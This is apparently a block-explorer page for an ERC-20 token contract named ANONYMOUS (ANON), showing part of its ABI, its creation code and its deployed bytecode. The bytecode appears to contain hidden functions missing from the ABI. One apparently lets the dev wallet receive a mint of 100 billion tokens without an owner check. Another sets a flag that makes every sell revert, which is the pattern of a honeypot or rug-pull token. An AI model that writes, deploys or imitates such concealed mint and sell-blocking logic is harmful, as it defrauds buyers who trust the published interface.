ility":"nonpayable","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600b80546001600160581b0319166a010101000000000000005b1790556001600e819055600f8190555f601081905560118290556012919091556013553480156200004d575f80fd5b5060405180604001604052806009815260200168414e4f4e594d4f555360b81b8152506040518060400160405280600481526020016320a727a760e11b81525081600390816200009e9190620006ad565b506004620000ad8282620006ad565b505050620000ca620000c46200036160201b60201c565b62000365565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000ec816001620003b6565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000135573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015b919062000779565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cd919062000779565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000218573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023e919062000779565b6001600160a01b031660a081905262000259906001620003b6565b60a051620002699060016200042e565b69d3c21bcecceda10000006008819055600a8190556200028c6103e882620007a8565b600955600680547317f5e2d9a7575405994a828e6e2649648d7cf3146001600160a01b03199182168117909255600780549091169091179055620002e4620002dc6005546001600160a01b031690565b600162000481565b620002f130600162000481565b6200030061dead600162000481565b6200031f620003176005546001600160a01b031690565b6001620003b6565b6200032c306001620003b6565b6200033b61dead6001620003b6565b62000359620003526005546001600160a01b031690565b8262000529565b5050620007ee565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b03163314620004045760405162461bcd60e51b815260206004820181905260248201525f805160206200304283398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260196020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004cb5760405162461bcd60e51b815260206004820181905260248201525f80516020620030428339815191526044820152606401620003fb565b6001600160a01b0382165f81815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005815760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003fb565b8060025f828254620005949190620007c8565b90915550506001600160a01b0382165f9081526020819052604081208054839290620005c2908490620007c8565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200063957607f821691505b6020821081036200065857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200060b57805f5260205f20601f840160051c81016020851015620006855750805b601f840160051c820191505b81811015620006a6575f815560010162000691565b5050505050565b81516001600160401b03811115620006c957620006c962000610565b620006e181620006da845462000624565b846200065e565b602080601f83116001811462000717575f8415620006ff5750858301515b5f19600386901b1c1916600185901b17855562000771565b5f85815260208120601f198616915b82811015620007475788860151825594840194600190910190840162000726565b50858210156200076557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f602082840312156200078a575f80fd5b81516001600160a01b0381168114620007a1575f80fd5b9392505050565b5f82620007c357634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620007e857634e487b7160e01b5f52601160045260245ffd5b92915050565b60805160a0516128166200082c5f395f818161058e015261100801525f8181610464015281816121f4015281816122ab01526122e701526128165ff3fe60806040526004361061035e575f3560e01c80638da5cb5b116101bd578063b62496f5116100f2578063d257b34f11610092578063e2f456051161006d578063e2f45605146109d2578063f2fde38b146109e7578063f88de0c314610a06578063f8b45b0514610a1f575f80fd5b8063d257b34f1461095a578063d85ba06314610979578063dd62ed3e1461098e575f80fd5b8063c0246668116100cd578063c0246668146108f2578063c18bc19514610911578063c6d2577d14610930578063c8c8ebe414610945575f80fd5b8063b62496f51461088f578063bbc0c742146108bd578063bf56b371146108dd575f80fd5b80639e281a981161015d578063a457c2d711610138578063a457c2d71461082a578063a9059cbb14610849578063aacebbe314610868578063b2d7cc1f14610887575f80fd5b80639e281a98146107e15780639fccce3214610800578063a0d82dc514610815575f80fd5b8063924de9b711610198578063924de9b71461077a57806395d89b41146107995780639a7a23d6146107ad5780639c3b4fdc146107cc575f80fd5b80638da5cb5b146107295780638ea5220f146107465780639213691314610765575f80fd5b806339509351116102935780636ddd171311610233578063751039fc1161020e578063751039fc146106c25780637571336a146106d657806375f0a874146106f55780637bce5a0414610714575f80fd5b80636ddd17131461065a57806370a082311461067a578063715018a6146106ae575f80fd5b80634fbee1931161026e5780634fbee193146105d057806366ca9b831461060757806367243482146106265780636a486a8e14610645575f80fd5b8063395093511461055e57806349bd5a5e1461057d5780634a62bb65146105b0575f80fd5b806318160ddd116102fe578063203e727e116102d9578063203e727e146104f057806323b872dd1461050f57806327c8f8351461052e578063313ce56714610543575f80fd5b806318160ddd1461049e5780631816467f146104bc5780631f3fed8f146104db575f80fd5b8063095ea7b311610339578063095ea7b3146103c85780630f3a325f146103f757806310d5de53146104255780631694505e14610453575f80fd5b806301339c211461036957806302dbd8f81461037f57806306fdde031461039e575f80fd5b3661036557005b5f80fd5b348015610374575f80fd5b5061037d610a34565b005b34801561038a575f80fd5b5061037d610399366004612355565b610ad9565b3480156103a9575f80fd5b506103b2610b1e565b6040516103bf9190612375565b60405180910390f35b3480156103d3575f80fd5b506103e76103e23660046123d5565b610bae565b60405190151581526020016103bf565b348015610402575f80fd5b506103e76104113660046123ff565b60186020525f908152604090205460ff1681565b348015610430575f80fd5b506103e761043f3660046123ff565b60176020525f908152604090205460ff1681565b34801561045e575f80fd5b506104867f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103bf565b3480156104a9575f80fd5b506002545b6040519081526020016103bf565b3480156104c7575f80fd5b5061037d6104d63660046123ff565b610bc4565b3480156104e6575f80fd5b506104ae60145481565b3480156104fb575f80fd5b5061037d61050a36600461241a565b610c4a565b34801561051a575f80fd5b506103e7610529366004612431565b610c8c565b348015610539575f80fd5b5061048661dead81565b34801561054e575f80fd5b50604051601281526020016103bf565b348015610569575f80fd5b506103e76105783660046123d5565b610d34565b348015610588575f80fd5b506104867f000000000000000000000000000000000000000000000000000000000000000081565b3480156105bb575f80fd5b50600b546103e790600160401b900460ff1681565b3480156105db575f80fd5b506103e76105ea3660046123ff565b6001600160a01b03165f9081526016602052604090205460ff1690565b348015610612575f80fd5b5061037d610621366004612355565b610d6f565b348015610631575f80fd5b5061037d6106403660046124b7565b610db4565b348015610650575f80fd5b506104ae60115481565b348015610665575f80fd5b50600b546103e790600160501b900460ff1681565b348015610685575f80fd5b506104ae6106943660046123ff565b6001600160a01b03165f9081526020819052604090205490565b3480156106b9575f80fd5b5061037d610eb8565b3480156106cd575f80fd5b506103e7610eed565b3480156106e1575f80fd5b5061037d6106f036600461252b565b610f31565b348015610700575f80fd5b50600654610486906001600160a01b031681565b34801561071f575f80fd5b506104ae600f5481565b348015610734575f80fd5b506005546001600160a01b0316610486565b348015610751575f80fd5b50600754610486906001600160a01b031681565b348015610770575f80fd5b506104ae60125481565b348015610785575f80fd5b5061037d610794366004612562565b610f85565b3480156107a4575f80fd5b506103b2610fcd565b3480156107b8575f80fd5b5061037d6107c736600461252b565b610fdc565b3480156107d7575f80fd5b506104ae60105481565b3480156107ec575f80fd5b5061037d6107fb3660046123d5565b6110bb565b34801561080b575f80fd5b506104ae60155481565b348015610820575f80fd5b506104ae60135481565b348015610835575f80fd5b506103e76108443660046123d5565b6111ff565b348015610854575f80fd5b506103e76108633660046123d5565b611297565b348015610873575f80fd5b5061037d6108823660046123ff565b6112a3565b61037d611329565b34801561089a575f80fd5b506103e76108a93660046123ff565b60196020525f908152604090205460ff1681565b3480156108c8575f80fd5b50600b546103e790600160481b900460ff1681565b3480156108e8575f80fd5b506104ae600c5481565b3480156108fd575f80fd5b5061037d61090c36600461252b565b61134c565b34801561091c575f80fd5b5061037d61092b36600461241a565b6113d4565b34801561093b575f80fd5b506104ae600d5481565b348015610950575f80fd5b506104ae60085481565b348015610965575f80fd5b506103e761097436600461241a565b611416565b348015610984575f80fd5b506104ae600e5481565b348015610999575f80fd5b506104ae6109a836600461257d565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156109dd575f80fd5b506104ae60095481565b3480156109f2575f80fd5b5061037d610a013660046123ff565b61145f565b61037d600b805467ffffffffffffffff19166067179055565b348015610a2a575f80fd5b506104ae600a5481565b6005546001600160a01b03163314610a675760405162461bcd60e51b8152600401610a5e906125a9565b60405180910390fd5b600c5415610aae5760405162461bcd60e51b8152602060048201526014602482015273416c7265616479206c61756e6368656420626f6960601b6044820152606401610a5e565b43600c5542600d55600b80546affff00000000000000000019166a0101000000000000000000179055565b6005546001600160a01b03163314610b035760405162461bcd60e51b8152600401610a5e906125a9565b60128290556013819055610b1781836125f2565b6011555050565b606060038054610b2d90612605565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5990612605565b8015610ba45780601f10610b7b57610100808354040283529160200191610ba4565b820191905f5260205f20905b815481529060010190602001808311610b8757829003601f168201915b5050505050905090565b5f610bba3384846114fa565b5060015b92915050565b6005546001600160a01b03163314610bee5760405162461bcd60e51b8152600401610a5e906125a9565b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e743905f90a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c745760405162461bcd60e51b8152600401610a5e906125a9565b610c8681670de0b6b3a764000061263d565b60085550565b5f610c9884848461161d565b6001600160a01b0384165f90815260016020908152604080832033845290915290205482811015610d1c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610a5e565b610d2985338584036114fa565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091610bba918590610d6a9086906125f2565b6114fa565b6005546001600160a01b03163314610d995760405162461bcd60e51b8152600401610a5e906125a9565b600f8290556010819055610dad81836125f2565b600e555050565b6005546001600160a01b03163314610dde5760405162461bcd60e51b8152600401610a5e906125a9565b828114610e2d5760405162461bcd60e51b815260206004820152601960248201527f41727261792073697a6573206d75737420626520657175616c000000000000006044820152606401610a5e565b5f5b83811015610eb1575f610e6b670de0b6b3a7640000858585818110610e5657610e56612654565b90506020020135611d8690919063ffffffff16565b9050610e9e33878785818110610e8357610e83612654565b9050602002016020810190610e9891906123ff565b8361161d565b610ea96001836125f2565b915050610e2f565b5050505050565b6005546001600160a01b03163314610ee25760405162461bcd60e51b8152600401610a5e906125a9565b610eeb5f611d98565b565b6005545f906001600160a01b03163314610f195760405162461bcd60e51b8152600401610a5e906125a9565b50600b805468ff000000000000000019169055600190565b6005546001600160a01b03163314610f5b5760405162461bcd60e51b8152600401610a5e906125a9565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610faf5760405162461bcd60e51b8152600401610a5e906125a9565b600b8054911515600160501b0260ff60501b19909216919091179055565b606060048054610b2d90612605565b6005546001600160a01b031633146110065760405162461bcd60e51b8152600401610a5e906125a9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316036110ad5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a5e565b6110b78282611de9565b5050565b6005546001600160a01b031633146110e55760405162461bcd60e51b8152600401610a5e906125a9565b6040516370a0823160e01b815230600482015281906001600160a01b038416906370a0823190602401602060405180830381865afa158015611129573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114d9190612668565b101561118c5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b6044820152606401610a5e565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af11580156111d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111fa919061267f565b505050565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156112805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a5e565b61128d33858584036114fa565b5060019392505050565b5f610bba33848461161d565b6005546001600160a01b031633146112cd5760405162461bcd60e51b8152600401610a5e906125a9565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b05674905f90a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b600754610eeb906001600160a01b03166c01431e0fae6d7217caa0000000611e3c565b6005546001600160a01b031633146113765760405162461bcd60e51b8152600401610a5e906125a9565b6001600160a01b0382165f81815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113fe5760405162461bcd60e51b8152600401610a5e906125a9565b61141081670de0b6b3a764000061263d565b600a5550565b6005545f906001600160a01b031633146114425760405162461bcd60e51b8152600401610a5e906125a9565b61145482670de0b6b3a764000061263d565b600955506001919050565b6005546001600160a01b031633146114895760405162461bcd60e51b8152600401610a5e906125a9565b6001600160a01b0381166114ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a5e565b6114f781611d98565b50565b6001600160a01b03831661155c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a5e565b6001600160a01b0382166115bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a5e565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166116435760405162461bcd60e51b8152600401610a5e9061269a565b6001600160a01b0382166116695760405162461bcd60e51b8152600401610a5e906126df565b6001600160a01b0382165f9081526018602052604090205460ff16156116c35760405162461bcd60e51b815260206004820152600f60248201526e14db9a5c195c8819195d1958dd1959608a1b6044820152606401610a5e565b6001600160a01b0383165f9081526018602052604090205460ff161561171d5760405162461bcd60e51b815260206004820152600f60248201526e14db9a5c195c8819195d1958dd1959608a1b6044820152606401610a5e565b805f0361172f576111fa83835f611f18565b600b54600160401b900460ff1615611aa5576005546001600160a01b0384811691161480159061176d57506005546001600160a01b03838116911614155b801561178157506001600160a01b03821615155b801561179857506001600160a01b03821661dead14155b80156117ae5750600554600160a01b900460ff16155b15611aa557600b54600160481b900460ff16611846576001600160a01b0383165f9081526016602052604090205460ff168061180157506001600160a01b0382165f9081526016602052604090205460ff165b6118465760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a5e565b6001600160a01b0383165f9081526019602052604090205460ff16801561188557506001600160a01b0382165f9081526017602052604090205460ff16155b15611968576008548111156118fa5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610a5e565b600a546001600160a01b0383165f9081526020819052604090205461191f90836125f2565b11156119635760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a5e565b611aa5565b6001600160a01b0382165f9081526019602052604090205460ff1680156119a757506001600160a01b0383165f9081526017602052604090205460ff16155b15611a1d576008548111156119635760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610a5e565b6001600160a01b0382165f9081526017602052604090205460ff16611aa557600a546001600160a01b0383165f90815260208190526040902054611a6190836125f2565b1115611aa55760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610a5e565b305f9081526020819052604090205460095481108015908190611ad15750600b54600160501b900460ff165b8015611ae75750600554600160a01b900460ff16155b8015611b0b57506001600160a01b0385165f9081526019602052604090205460ff16155b8015611b2f57506001600160a01b0385165f9081526016602052604090205460ff16155b8015611b5357506001600160a01b0384165f9081526016602052604090205460ff16155b15611b81576005805460ff60a01b1916600160a01b179055611b7361206b565b6005805460ff60a01b191690555b6005546001600160a01b0386165f9081526016602052604090205460ff600160a01b909204821615911680611bcd57506001600160a01b0385165f9081526016602052604090205460ff165b15611bd557505f5b5f8115611d72576001600160a01b0386165f9081526019602052604090205460ff168015611c0457505f601154115b15611cab57600b54606467ffffffffffffffff9091161115611c24575f80fd5b611c446064611c3e60115488611d8690919063ffffffff16565b90612194565b905060115460125482611c57919061263d565b611c619190612722565b60145f828254611c7191906125f2565b9091555050601154601354611c86908361263d565b611c909190612722565b60155f828254611ca091906125f2565b90915550611d549050565b6001600160a01b0387165f9081526019602052604090205460ff168015611cd357505f600e54115b15611d5457611cf26064611c3e600e5488611d8690919063ffffffff16565b9050600e54600f5482611d05919061263d565b611d0f9190612722565b60145f828254611d1f91906125f2565b9091555050600e54601054611d34908361263d565b611d3e9190612722565b60155f828254611d4e91906125f2565b90915550505b8015611d6557611d65873083611f18565b611d6f8186612741565b94505b611d7d878787611f18565b50505050505050565b5f611d91828461263d565b9392505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260196020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038216611e925760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610a5e565b8060025f828254611ea391906125f2565b90915550506001600160a01b0382165f9081526020819052604081208054839290611ecf9084906125f2565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038316611f3e5760405162461bcd60e51b8152600401610a5e9061269a565b6001600160a01b038216611f645760405162461bcd60e51b8152600401610a5e906126df565b6001600160a01b0383165f9081526020819052604090205481811015611fdb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a5e565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906120119084906125f2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161205d91815260200190565b60405180910390a350505050565b305f9081526020819052604081205490505f60155460145461208d91906125f2565b90505f82158061209b575081155b156120a557505050565b6009548311156120b55760095492505b826120bf8161219f565b5f4790505f6120dd85611c3e60145485611d8690919063ffffffff16565b5f601481905560158190556006546040519293506001600160a01b031691839181818185875af1925050503d805f8114612132576040519150601f19603f3d011682016040523d82523d5f602084013e612137565b606091505b50506007546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114612184576040519150601f19603f3d011682016040523d82523d5f602084013e612189565b606091505b505050505050505050565b5f611d918284612722565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106121d2576121d2612654565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561224e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122729190612754565b8160018151811061228557612285612654565b60200260200101906001600160a01b031690816001600160a01b0316815250506122d0307f0000000000000000000000000000000000000000000000000000000000000000846114fa565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906123249085905f9086903090429060040161276f565b5f604051808303815f87803b15801561233b575f80fd5b505af115801561234d573d5f803e3d5ffd5b505050505050565b5f8060408385031215612366575f80fd5b50508035926020909101359150565b5f602080835283518060208501525f5b818110156123a157858101830151858201604001528201612385565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114f7575f80fd5b5f80604083850312156123e6575f80fd5b82356123f1816123c1565b946020939093013593505050565b5f6020828403121561240f575f80fd5b8135611d91816123c1565b5f6020828403121561242a575f80fd5b5035919050565b5f805f60608486031215612443575f80fd5b833561244e816123c1565b9250602084013561245e816123c1565b929592945050506040919091013590565b5f8083601f84011261247f575f80fd5b50813567ffffffffffffffff811115612496575f80fd5b6020830191508360208260051b85010111156124b0575f80fd5b9250929050565b5f805f80604085870312156124ca575f80fd5b843567ffffffffffffffff808211156124e1575f80fd5b6124ed8883890161246f565b90965094506020870135915080821115612505575f80fd5b506125128782880161246f565b95989497509550505050565b80151581146114f7575f80fd5b5f806040838503121561253c575f80fd5b8235612547816123c1565b915060208301356125578161251e565b809150509250929050565b5f60208284031215612572575f80fd5b8135611d918161251e565b5f806040838503121561258e575f80fd5b8235612599816123c1565b91506020830135612557816123c1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610bbe57610bbe6125de565b600181811c9082168061261957607f821691505b60208210810361263757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082028115828204841417610bbe57610bbe6125de565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612678575f80fd5b5051919050565b5f6020828403121561268f575f80fd5b8151611d918161251e565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f8261273c57634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610bbe57610bbe6125de565b5f60208284031215612764575f80fd5b8151611d91816123c1565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156127bf5784516001600160a01b03168352938301939183019160010161279a565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212200e9e35e7a08b84ee249ef2965f44b02958c0868364c801750a0850e5aa998f7464736f6c634300081700334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x60806040526004361061035e575f3560e01c80638da5cb5b116101bd578063b62496f5116100f2578063d257b34f11610092578063e2f456051161006d578063e2f45605146109d2578063f2fde38b146109e7578063f88de0c314610a06578063f8b45b0514610a1f575f80fd5b8063d257b34f1461095a578063d85ba06314610979578063dd62ed3e1461098e575f80fd5b8063c0246668116100cd578063c0246668146108f2578063c18bc19514610911578063c6d2577d14610930578063c8c8ebe414610945575f80fd5b8063b62496f51461088f578063bbc0c742146108bd578063bf56b371146108dd575f80fd5b80639e281a981161015d578063a457c2d711610138578063a457c2d71461082a578063a9059cbb14610849578063aacebbe314610868578063b2d7cc1f14610887575f80fd5b80639e281a98146107e15780639fccce3214610800578063a0d82dc514610815575f80fd5b8063924de9b711610198578063924de9b71461077a57806395d89b41146107995780639a7a23d6146107ad5780639c3b4fdc146107cc575f80fd5b80638da5cb5b146107295780638ea5220f146107465780639213691314610765575f80fd5b806339509351116102935780636ddd171311610233578063751039fc1161020e578063751039fc146106c25780637571336a146106d657806375f0a874146106f55780637bce5a0414610714575f80fd5b80636ddd17131461065a57806370a082311461067a578063715018a6146106ae575f80fd5b80634fbee1931161026e5780634fbee193146105d057806366ca9b831461060757806367243482146106265780636a486a8e14610645575f80fd5b8063395093511461055e57806349bd5a5e1461057d5780634a62bb65146105b0575f80fd5b806318160ddd116102fe578063203e727e116102d9578063203e727e146104f057806323b872dd1461050f57806327c8f8351461052e578063313ce56714610543575f80fd5b806318160ddd1461049e5780631816467f146104bc5780631f3fed8f146104db575f80fd5b8063095ea7b311610339578063095ea7b3146103c85780630f3a325f146103f757806310d5de53146104255780631694505e14610453575f80fd5b806301339c211461036957806302dbd8f81461037f57806306fdde031461039e575f80fd5b3661036557005b5f80fd5b348015610374575f80fd5b5061037d610a34565b005b34801561038a575f80fd5b5061037d610399366004612355565b610ad9565b3480156103a9575f80fd5b506103b2610b1e565b6040516103bf9190612375565b60405180910390f35b3480156103d3575f80fd5